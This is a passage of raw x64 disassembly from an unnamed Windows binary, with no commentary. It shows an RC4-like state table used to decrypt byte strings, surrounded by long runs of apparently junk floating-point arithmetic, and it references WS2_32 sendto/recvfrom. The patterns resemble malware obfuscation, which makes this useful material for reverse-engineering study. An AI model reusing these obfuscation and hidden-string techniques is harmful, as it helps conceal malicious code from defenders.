subss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
mov r10d, r15d
jmp 0x14012e0cc
mov rdi, qword [rbp + 0x3e8]
movzx ebx, byte [r13 + rdi*2 + 2]
movzx edx, byte [r13 + rdi*2 + 3]
movzx r10d, r10b
movzx r9d, byte [rbp + r10 + 0x410]
add cl, r15b
movzx ecx, cl
movzx esi, byte [rbp + rcx + 0x410]
mov byte [rbp + r10 + 0x410], sil
movzx r8d, r8b
movzx esi, byte [rbp + r8 + 0x410]
mov byte [rbp + rcx + 0x410], sil
movzx r11d, r11b
movzx esi, byte [rbp + r11 + 0x410]
mov byte [rbp + r8 + 0x410], sil
mov byte [rbp + r11 + 0x410], r9b
shl bl, 4
add bl, 0xe0
add dl, 0x78
or dl, bl
movzx ecx, byte [rbp + rcx + 0x410]
add cl, r9b
movzx ecx, cl
xor dl, byte [rbp + rcx + 0x410]
movzx ecx, byte [rbp + r10 + 0x410]
add cl, byte [rbp + r8 + 0x410]
add al, byte [rbp + r9 + 0x410]
movzx eax, al
add cl, byte [rbp + rax + 0x410]
movzx eax, cl
movzx eax, byte [rbp + rax + 0x410]
xor dl, byte [rbp + rax + 0x410]
mov byte [rbp + rdi + 0x520], dl
mov byte [rbp + 0x52d], 0
mov r12, qword [rbp + 0x3e0]
lea rdx, [rbp + 0x520]
mov rcx, qword [rbp + 0x3d0]
call fcn.14005b020
mov rsi, rax
mov qword [rbp + 0x550], 0
mov qword [rbp + 0x558], 0
mov qword [rbp + 0x550], 0
mov qword [rbp + 0x558], 0
mov qword [rbp + 0x558], 0
movsd xmm1, qword [rbp + 0x558]
movsd xmm0, qword [0x1404d9830]
ucomisd xmm0, xmm1
jbe 0x14012e691
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [0x1404d9840]
movapd xmm2, xmmword [0x1404d8a00]
movsd xmm3, qword [0x1404d9850]
movsd xmm4, qword [0x1404d9858]
movsd xmm5, qword [0x1404d7a10]
jmp 0x14012e5e6
movsd xmm6, qword [rbp + 0x558]
addsd xmm6, xmm5
movsd qword [rbp + 0x558], xmm6
movsd xmm6, qword [rbp + 0x558]
ucomisd xmm0, xmm6
jbe 0x14012e691
movsd xmm6, qword [rbp + 0x558]
movsd xmm7, qword [rbp + 0x558]
mov rcx, qword [rbp + 0x558]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rbp + 0x558]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rbp + 0x558]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rbp + 0x558]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rbp + 0x550]
movsd qword [rbp + 0x550], xmm6
movsd xmm6, qword [rbp + 0x550]
ucomisd xmm6, xmm3
jbe 0x14012e5c0
movsd xmm6, qword [rbp + 0x558]
mulsd xmm6, xmm4
addsd xmm6, qword [rbp + 0x550]
movsd qword [rbp + 0x550], xmm6
jmp 0x14012e5c0
movsd xmm0, qword [rbp + 0x550]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x14012e6b2
call fcn.140496bbf
call fcn.140496bb3
jmp 0x14012ffba
mov qword [rbp + 0x3e8], rsi
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rbp + 0x410], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rbp + 0x420], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rbp + 0x430], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rbp + 0x440], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rbp + 0x450], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rbp + 0x460], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rbp + 0x470], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rbp + 0x480], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rbp + 0x490], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rbp + 0x4a0], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rbp + 0x4b0], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rbp + 0x4c0], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rbp + 0x4d0], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rbp + 0x4e0], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rbp + 0x4f0], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rbp + 0x500], xmm0
xor ecx, ecx
mov r8d, 0xff
lea r9, [fcn.140496bbf]
lea r10, [0x1401301dc]
xor esi, esi
xor r11d, r11d
jmp 0x14012e7c9
dec r8
je 0x14012e915
mov edx, 1
cmp r8, 2
jb 0x14012e7e9
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp r8, rdx
ja 0x14012e7e0
mov ebx, ntohs
nop
cmp r11d, 3
ja case.default.0x14012e804
mov eax, r11d
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
movzx esi, sil
movsd xmm0, qword [rbp + 0x550]
cvttsd2si rax, xmm0
jmp 0x14012e890
movsd xmm0, qword [rbp + 0x550]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 8
jmp 0x14012e890
movsd xmm0, qword [rbp + 0x550]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x10
jmp 0x14012e890
movsd xmm0, qword [rbp + 0x550]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x18
jmp 0x14012e890
movzx esi, sil
lea eax, [r11 - 4]
movzx eax, byte [rax + r9]
nop word cs:[rax + rax]
add al, byte [rbp + rsi + 0x410]
inc r11d
lea esi, [rax + 0x22]
cmp r11d, 0x22
cmovae r11d, ecx
movzx eax, al
movzx esi, sil
cmovb esi, eax
mov eax, esi
and eax, edx
movzx eax, al
dec ebx
je 0x14012e8d0
mov r14d, eax
cmp r8, r14
jb 0x14012e7f0
jmp 0x14012e8d7
xor edx, edx
div r8d
mov eax, edx
mov eax, eax
cmp r8, rax
je 0x14012e7c0
movzx edx, byte [rbp + r8 + 0x410]
xor dl, byte [rbp + rax + 0x410]
mov byte [rbp + r8 + 0x410], dl
xor dl, byte [rbp + rax + 0x410]
mov byte [rbp + rax + 0x410], dl
xor byte [rbp + r8 + 0x410], dl
jmp 0x14012e7c0
movzx r14d, byte [rbp + 0x411]
movzx r9d, byte [rbp + 0x415]
movzx r10d, byte [rbp + 0x417]
movzx eax, sil
movzx r11d, byte [rbp + rax + 0x410]
movzx edx, byte [fcn.140496bb3]
movzx r8d, byte [0x140496bb4]
movzx eax, byte [rbp + r11 + 0x410]
movzx ecx, byte [rbp + r14 + 0x410]
add cl, byte [rbp + 0x413]
lea esi, [r14 + 1]
movzx ecx, cl
movzx ebx, byte [rbp + rcx + 0x410]
mov byte [rbp + r11 + 0x410], bl
movzx ebx, byte [rbp + r10 + 0x410]
mov byte [rbp + rcx + 0x410], bl
movzx esi, sil
movzx ebx, byte [rbp + rsi + 0x410]
mov byte [rbp + r10 + 0x410], bl
mov byte [rbp + rsi + 0x410], al
movzx ebx, byte [rbp + rcx + 0x410]
add bl, al
movzx esi, bl
movzx r11d, byte [rbp + r11 + 0x410]
add r11b, byte [rbp + r10 + 0x410]
movzx r10d, byte [rbp + rsi + 0x410]
add r9b, byte [rbp + rax + 0x410]
movzx r9d, r9b
add r11b, byte [rbp + r9 + 0x410]
movzx r11d, r11b
movzx r11d, byte [rbp + r11 + 0x410]
shl dl, 4
add dl, 0xd0
add r8b, 0xf5
or r8b, dl
xor r10b, byte [rbp + r11 + 0x410]
xor r10b, r8b
movzx edx, byte [reloc.WLDAP32.dll_Ordinal_145]
movzx r11d, byte [reloc.WS2_32.dll_sendto]
add r11b, 0xf5
shl dl, 4
add dl, 0xd0
movzx esi, r8b
movzx r8d, byte [rbp + rsi + 0x410]
lea ebx, [r14 + 2]
add cl, al
movzx ecx, cl
movzx eax, byte [rbp + rcx + 0x410]
mov byte [rbp + rsi + 0x410], al
movzx eax, r10b
movzx r10d, byte [rbp + rax + 0x410]
mov byte [rbp + rcx + 0x410], r10b
movzx r10d, bl
movzx ebx, byte [rbp + r10 + 0x410]
mov byte [rbp + rax + 0x410], bl
mov byte [rbp + r10 + 0x410], r8b
add r9b, byte [rbp + r8 + 0x410]
or dl, r11b
movzx r10d, byte [rbp + rcx + 0x410]
add r10b, r8b
movzx r10d, r10b
movzx r10d, byte [rbp + r10 + 0x410]
movzx r11d, byte [rbp + rsi + 0x410]
add r11b, byte [rbp + rax + 0x410]
movzx eax, r9b
add r11b, byte [rbp + rax + 0x410]
movzx r9d, r11b
movzx r9d, byte [rbp + r9 + 0x410]
xor r10b, byte [rbp + r9 + 0x410]
xor r10b, dl
movsx r9d, r10b
mov word [rbp + 0x510], r9w
movzx r15d, byte [0x140496bb7]
movzx ebx, byte [0x140496bb8]
lea r10d, [rbx - 0xb]
shl r15b, 4
add r15b, 0xd0
or r15b, r10b
movzx r10d, dl
movzx r11d, byte [rbp + r10 + 0x410]
lea edx, [r14 + 3]
add cl, r8b
movzx esi, cl
movzx r8d, byte [rbp + rsi + 0x410]
mov byte [rbp + r10 + 0x410], r8b
movzx r12d, r9b
movzx r8d, byte [rbp + r12 + 0x410]
mov byte [rbp + rsi + 0x410], r8b
movzx r8d, dl
movzx r9d, byte [rbp + r8 + 0x410]
mov byte [rbp + r12 + 0x410], r9b
mov byte [rbp + r8 + 0x410], r11b
add al, byte [rbp + r11 + 0x410]
movzx r9d, byte [rbp + rsi + 0x410]
add r9b, r11b
movzx r9d, r9b
movzx r9d, byte [rbp + r9 + 0x410]
movzx r10d, byte [rbp + r10 + 0x410]
add r10b, byte [rbp + r12 + 0x410]
movzx r11d, al
add r10b, byte [rbp + r11 + 0x410]
movzx r10d, r10b
movzx r10d, byte [rbp + r10 + 0x410]
xor r9b, byte [rbp + r10 + 0x410]
xor r9b, r15b
movsx r11d, r9b
mov word [rbp + 0x512], r11w
movzx r10d, byte [0x140496bb9]
movabs r12, 0x40de2d0000000000
mov qword [rbp + 0x570], r12
movabs r12, 0x40d41e0000000000
mov qword [rbp + 0x568], r12
movabs r12, 0x40c41e0000000000
mov qword [rbp + 0x560], r12
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
ucomisd xmm1, xmm0
jbe 0x14012ec96
movzx ebx, byte [reloc.WS2_32.dll_recvfrom]
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x568]
subsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x570]
addsd xmm0, qword [rbp + 0x568]
movsd qword [rbp + 0x568], xmm0
jmp 0x14012ed84
movsd xmm0, qword [rbp + 0x568]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x560]
mulsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x560]
subsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x568]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x568]
subsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
ucomisd xmm0, xmm1
jbe 0x14012eda2
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
divsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
jmp 0x14012edf6
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x568]
divsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movzx ebx, bl
add ebx, 0xfffffff5
shl r10, 4
add r10, 0xd0
movzx r15d, r15b
movzx r13d, byte [rbp + r15 + 0x410]
movzx r12d, r13b
mov dword [rbp + 0x570], 0x46922600
mov dword [rbp + 0x568], 0x465b3c00
mov dword [rbp + 0x560], 0x46122c00
mov dword [rbp + 0x548], 0x45923800
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x568]
subss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x548]
addss xmm0, dword [rbp + 0x560]
movss dword [rbp + 0x560], xmm0
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x560]
mulss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x570]
ucomiss xmm1, xmm0
jbe 0x14012ef4a
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x560]
mulss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
lea edx, [r14 + 4]
add cl, byte [rbp + r8 + 0x410]
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
subss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movzx esi, cl
movzx r8d, dl
jmp 0x14012efba
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x548]
divss xmm1, xmm0
movss dword [rbp + 0x548], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
subss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
subss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x560]
mulss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
or r10, rbx
movzx r14d, byte [rbp + rsi + 0x410]
mov byte [rbp + r15 + 0x410], r14b
movzx r14d, r9b
movzx edi, byte [rbp + r14 + 0x410]
mov byte [rbp + rsi + 0x410], dil
movzx edi, byte [rbp + r8 + 0x410]
mov byte [rbp + r14 + 0x410], dil
mov byte [rbp + r8 + 0x410], r13b
add al, byte [rbp + r12 + 0x410]
mov dword [rbp + 0x570], 0x46b5c400
mov dword [rbp + 0x568], 0x46977a00
mov dword [rbp + 0x560], 0x46726000
mov dword [rbp + 0x548], 0x4635cc00
mov dword [rbp + 0x538], 0x45f27000
mov dword [rbp + 0x530], 0x45729000
movss xmm0, dword [rbp + 0x530]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x530]
movss xmm1, dword [rbp + 0x548]
subss xmm1, xmm0
movss dword [rbp + 0x548], xmm1
movss xmm0, dword [rbp + 0x530]
movss xmm1, dword [rbp + 0x538]
mulss xmm1, xmm0
movss dword [rbp + 0x538], xmm1
movss xmm0, dword [rbp + 0x530]
addss xmm0, dword [rbp + 0x538]
movss dword [rbp + 0x538], xmm0
movss xmm0, dword [rbp + 0x530]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x530]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x530]
movss xmm1, dword [rbp + 0x568]
ucomiss xmm1, xmm0
jbe 0x14012f1ff
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x530]
mulss xmm1, xmm0
movss dword [rbp + 0x530], xmm1
movzx r9d, byte [rbp + r8 + 0x410]
add r9b, byte [rbp + rsi + 0x410]
movzx r11d, byte [rbp + r15 + 0x410]
add r11b, byte [rbp + r14 + 0x410]
movzx esi, al
add r11b, byte [rbp + rsi + 0x410]
movzx r9d, r9b
movzx r11d, r11b
movzx r11d, byte [rbp + r11 + 0x410]
movzx r9d, byte [rbp + r9 + 0x410]
xor r9b, r10b
xor r9b, byte [rbp + r11 + 0x410]
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x530]
mulss xmm1, xmm0
movss dword [rbp + 0x530], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x560]
mulss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x530]
movss xmm1, dword [rbp + 0x538]
mulss xmm1, xmm0
movss dword [rbp + 0x538], xmm1
movsx r11d, r9b
mov r12, qword [rbp + 0x3e0]
jmp 0x14012f49c
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x568]
divss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x530]
subss xmm1, xmm0
movss dword [rbp + 0x530], xmm1
movss xmm0, dword [rbp + 0x530]
movss xmm1, dword [rbp + 0x548]
mulss xmm1, xmm0
movss dword [rbp + 0x548], xmm1
movss xmm0, dword [rbp + 0x538]
addss xmm0, dword [rbp + 0x560]
movss dword [rbp + 0x560], xmm0
movss xmm0, dword [rbp + 0x560]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x568]
divss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x560]
mulss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x560]
subss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movss xmm0, dword [rbp + 0x560]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x560]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x530]
ucomiss xmm0, xmm1
mov r12, qword [rbp + 0x3e0]
jbe 0x14012f400
movss xmm0, dword [rbp + 0x530]
movss xmm1, dword [rbp + 0x548]
subss xmm1, xmm0
movss dword [rbp + 0x548], xmm1
movss xmm0, dword [rbp + 0x570]
addss xmm0, dword [rbp + 0x538]
movss dword [rbp + 0x538], xmm0
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x570]
divss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x548]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x538]
subss xmm1, xmm0
movss dword [rbp + 0x538], xmm1
movss xmm0, dword [rbp + 0x538]
movss xmm1, dword [rbp + 0x560]
subss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
jmp 0x14012f49c
movss xmm0, dword [rbp + 0x560]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x570]
addss xmm0, dword [rbp + 0x538]
movss dword [rbp + 0x538], xmm0
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x530]
divss xmm1, xmm0
movss dword [rbp + 0x530], xmm1
movss xmm0, dword [rbp + 0x560]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x530]
mulss xmm1, xmm0
movss dword [rbp + 0x530], xmm1
mov word [rbp + 0x514], r11w
movzx esi, byte [0x140496bbb]
movzx r11d, byte [reloc.WS2_32.dll_recvfrom]
mov dword [rbp + 0x570], 0x4680be00
mov dword [rbp + 0x568], 0x462ba800
mov dword [rbp + 0x560], 0x45aba800
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
subss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x560]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
ucomiss xmm1, xmm0
jbe 0x14012f58f
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x560]
mulss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x560]
subss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
add r11d, 0xfffffff5
movss xmm0, dword [rbp + 0x560]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
mov ebx, r11d
jmp 0x14012f5df
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x560]
movss dword [rbp + 0x560], xmm0
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x568]
divss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
shl rsi, 4
add rsi, 0xd0
mov r11d, ebx
or r11, rsi
movzx r10d, r10b
movzx ebx, byte [rbp + r10 + 0x410]
lea edi, [rdx + 1]
add cl, byte [rbp + r8 + 0x410]
movzx esi, cl
movzx r8d, byte [rbp + rsi + 0x410]
mov byte [rbp + r10 + 0x410], r8b
movzx r9d, r9b
movzx r8d, byte [rbp + r9 + 0x410]
mov byte [rbp + rsi + 0x410], r8b
movzx r8d, dil
movzx edi, byte [rbp + r8 + 0x410]
mov byte [rbp + r9 + 0x410], dil
mov byte [rbp + r8 + 0x410], bl
mov dword [rbp + 0x570], 0x46a1a800
mov dword [rbp + 0x568], 0x46727c00
mov dword [rbp + 0x560], 0x4621a800
mov dword [rbp + 0x548], 0x45a1a800
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x560]
mulss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x548]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x568]
ucomiss xmm0, xmm1
jbe 0x14012f761
movss xmm0, dword [rbp + 0x560]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x548]
movss dword [rbp + 0x548], xmm0
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x548]
mulss xmm1, xmm0
movss dword [rbp + 0x548], xmm1
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x560]
mulss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
jmp 0x14012f7d4
movss xmm0, dword [rbp + 0x548]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
add al, byte [rbp + rbx + 0x410]
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x560]
subss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x548]
mulss xmm1, xmm0
movss dword [rbp + 0x548], xmm1
movzx ebx, byte [rbp + r8 + 0x410]
add bl, byte [rbp + rsi + 0x410]
movzx esi, bl
movzx r10d, byte [rbp + r10 + 0x410]
add r10b, byte [rbp + r9 + 0x410]
movzx r9d, al
add r10b, byte [rbp + r9 + 0x410]
movzx r9d, r10b
movzx r10d, byte [rbp + r9 + 0x410]
movzx r9d, byte [rbp + rsi + 0x410]
xor r9b, r11b
xor r9b, byte [rbp + r10 + 0x410]
movsx r10d, r9b
mov word [rbp + 0x516], r10w
mov dword [rbp + 0x570], 0x46d07c00
mov dword [rbp + 0x568], 0x46adbe00
mov dword [rbp + 0x560], 0x468b0000
mov dword [rbp + 0x548], 0x46508400
mov dword [rbp + 0x538], 0x460b0800
mov dword [rbp + 0x530], 0x458b1800
movss xmm0, dword [rbp + 0x530]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x530]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x530]
addss xmm0, dword [rbp + 0x538]
movss dword [rbp + 0x538], xmm0
movss xmm0, dword [rbp + 0x530]
addss xmm0, dword [rbp + 0x538]
movss dword [rbp + 0x538], xmm0
movss xmm0, dword [rbp + 0x530]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x530]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x530]
ucomiss xmm1, xmm0
jbe 0x14012f9c1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x568]
subss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x548]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x570]
addss xmm0, dword [rbp + 0x538]
movss dword [rbp + 0x538], xmm0
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x538]
divss xmm1, xmm0
movss dword [rbp + 0x538], xmm1
mov r10d, 4
jmp 0x14012fa63
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x560]
mulss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x530]
subss xmm1, xmm0
movss dword [rbp + 0x530], xmm1
movss xmm0, dword [rbp + 0x530]
addss xmm0, dword [rbp + 0x538]
movss dword [rbp + 0x538], xmm0
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x538]
movss xmm1, dword [rbp + 0x548]
mulss xmm1, xmm0
movss dword [rbp + 0x548], xmm1
movss xmm0, dword [rbp + 0x538]
addss xmm0, dword [rbp + 0x548]
movss dword [rbp + 0x548], xmm0
mov r10d, 5
mov edi, r10d
lea rbx, [fcn.140496bb3]
movzx esi, byte [rbx + rdi*2]
movzx ebx, byte [rbx + rdi*2 + 1]
movabs rdi, 0x40dc150000000000
